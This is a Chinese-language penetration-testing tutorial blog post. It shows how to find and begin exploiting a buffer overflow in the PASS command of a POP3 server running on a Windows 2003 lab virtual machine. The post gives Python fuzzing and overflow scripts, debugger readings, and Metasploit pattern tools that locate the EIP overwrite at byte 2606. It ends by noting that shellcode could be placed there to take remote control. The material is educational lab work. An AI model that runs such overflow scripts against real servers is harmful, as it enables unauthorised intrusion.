Kali Linux 渗透测试:Windows缓冲区溢出漏洞实验“漏洞发现”(21)

现在来讲讲Kali虚拟机对win2003缓冲区溢出的测试:

 

已经知道目标IP为:192.168.163.130

kali pass

 

连接目标机器110端口成功,接下来进行测试

 

事先已经知道PASS命令存在缓冲区溢出漏洞:

只要在PASS后边输入的数据达到某一个值时,就会出现缓冲区溢出漏洞

 

但是,手动尝试这个值实在有点低端,写一个Python脚本:

先写一个基本的Python脚本来测试:

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print "\nSending evil buffer..."
    s.connect(('192.168.163.130', 110))
    data = s.recv(1024)
    print data

    s.send('USER test' + '\r\n')
    data = s.recv(1024)
    print data

    s.send('PASS test\r\n')
    data = s.recv(1024)
    print data

    s.close()
    print '\nDone'

except:
    print 'Can not connect to POP3'

 

使用脚本:

如果脚本是从windows移过来的:

vi xxx.py
:set fileformat=unix
:wq
chmod u+x xxx.py
./xxx.py

 

测试:OK!

Windows缓冲区溢出漏洞实验

 

完善脚本:

#!/usr/bin/python
import socket

buffer = ["A"]
counter = 100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter += 200

for string in buffer:
    print "FUZZING PASS WITH %s BYTES" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(('192.168.163.130', 110))
    s.recv(1024)
    s.send('USER test' + '\r\n')
    s.recv(1024)
    s.send('PASS ' + string + '\r\n')
    s.send('QUIT\r\n')
    s.close()

 

测试:OK!pyhton模糊测试

 

我们发送这么多的数据来测试,那么问题来了,要怎么判断目标机器到底有没有缓冲区溢出?

 

这时候就需要上一篇提到的ImmunityDebugger了:

先简单介绍一下ImmunityDebugger界面,怕后面大家看不懂:

ImmunityDebugger界面

1号为CPU窗口:显示了正在处理的代码的反汇编指令。

2号为寄存器窗口:显示所有通用寄存器。

3号为内存窗口:以十六进制的形式显示任何被选中的内存块。

4号为堆栈窗口:显示调用的堆栈和解码后的函数参数(任何原生的API调用)。

5号,也就是最底下白色的窗口是命令栏:能够像windbg一样使用命令控制调试器,或者执行PyCommands。

 

先得到进程的PID:ImmunityDebugger pid

 

记住这个PID,打开ImmunityDebugger,file菜单选择attach

然后找到刚才的PID选择即可:ImmunityDebugger选择pid

 

默认的暂停状态,点击开始按钮来继续:ImmunityDebugger开始

 

打开Kali虚拟机开始发送:

果然,发送到2900的时候停下来了:Kali模糊测试

 

我们看看windows机器:

观察寄存器:ImmunityDebugger寄存器

 

注意这里的寄存器显示:41414141,根据Ascii码表,得出是AAAA

这里重点注意EIP系统下一步要执行指令的内存地址

而这里下一条指令全部都是A,没有正确的执行代码,所以现在程序已经崩溃了

 

再看看下边的内存信息:全部都是A

ImmunityDebugger内存值

 

我们可以把脚本的A改成其他字符继续测试,发现都是到3000左右程序崩溃

 

到这里我们想到:是否可以通过这个漏洞来做一些事情?

 

OK,我们可以通过脚本测试得到确切的溢出值,然后修改EIP寄存器存放下一条指令的地址

可以添加一些后门程序,如果是Shellcode就可以进一步控制目标机器

 

下一个目标: 找出精确的溢出到EIP寄存器的字节,进而可以修改程序运行轨迹

我们进一步来写一个脚本:

#!/usr/bin/python
import socket

buffer = 'A' * 2700

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.130', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

发送过去程序崩溃了,说明2700大了,那么需要调小一些,

改成2600试试:发现程序崩溃了,但是EIP并不是A,所以想要利用需要比2600大

 

到这里就知道了,最终数据应该是2600-2700之间

 

不过,具体该怎么精确地跳转呢?

二分法:不必多说

唯一字符串法:生成2700个字符,每四个一组,每一组字符串唯一,发送唯一字符串,精确定位

唯一字符串脚本比较复杂,但不需要自己写,Kali虚拟机里面就有:metasploit-framework一个ruby脚本:pattern_create.rb

 

使用方式:

 ./pattern_create.rb -l 2700

我们使用这2700个字符的唯一字符串来修改上边的脚本,把“A”*2700换成这个字符串

 

查看寄存器:ImmunityDebugger寄存器

 

发现唯一字符串对应地址(16进制)是:39 69 44 38

由于内存地址,读取要倒过来:38 44 69 39

对应字符是:8 D i 9

 

那么怎样知道对应第几位呢?

metasploit-framework一个ruby脚本:pattern_offset.rb可以解决:

pattern_offset.rb

 

使用:pattern_offset.rb -q

 

或者这样:pattern_offset.rb -q

 

得出是在第2606个位置

 

既然得到了是在第2606个位置:

就可以继续修改这个脚本了:测试能否恰好是BBBB

#!/usr/bin/python
import socket

buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.130', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

果然:ImmunityDebugger寄存器

 

查看42对应的就是B

那么,假设,在ESP中,不是20个C,而是Shellcode或者是恶意代码(反向连接等等)

就可以实现远程控制的目的。

 

关于具体如何精确修改而实现对目标机器的控制呢?后面会详细的介绍到。

    A+
发布日期:2019年11月08日 20:31:22  所属分类:Kali Linux 新手教程
最后更新时间:2019-11-08 20:31:22
评分: (1 票;平均数5.00 ;最高评分 5 ;用户总数1;总得分 5;百分比100.00)
头像
服务器管理面板/主机控制面板“安装”服务
服务器管理面板/主机控制面板“安装”服务
  • ¥ 9.9元
  • 市场价:49.9元
SEO顾问 中小型网站 单站/最低99.9元 全方位优化
SEO顾问 中小型网站 单站/最低99.9元 全方位优化
  • ¥ 99.9元
  • 市场价:5000元
免费SSL证书 HTTPS申请 安装 配置 支持通配符*
免费SSL证书 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元
wp discux 帝国 dedecms phpcms等快速建站
wp discux 帝国 dedecms phpcms等快速建站
  • ¥ 99.9元
  • 市场价:499.9元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: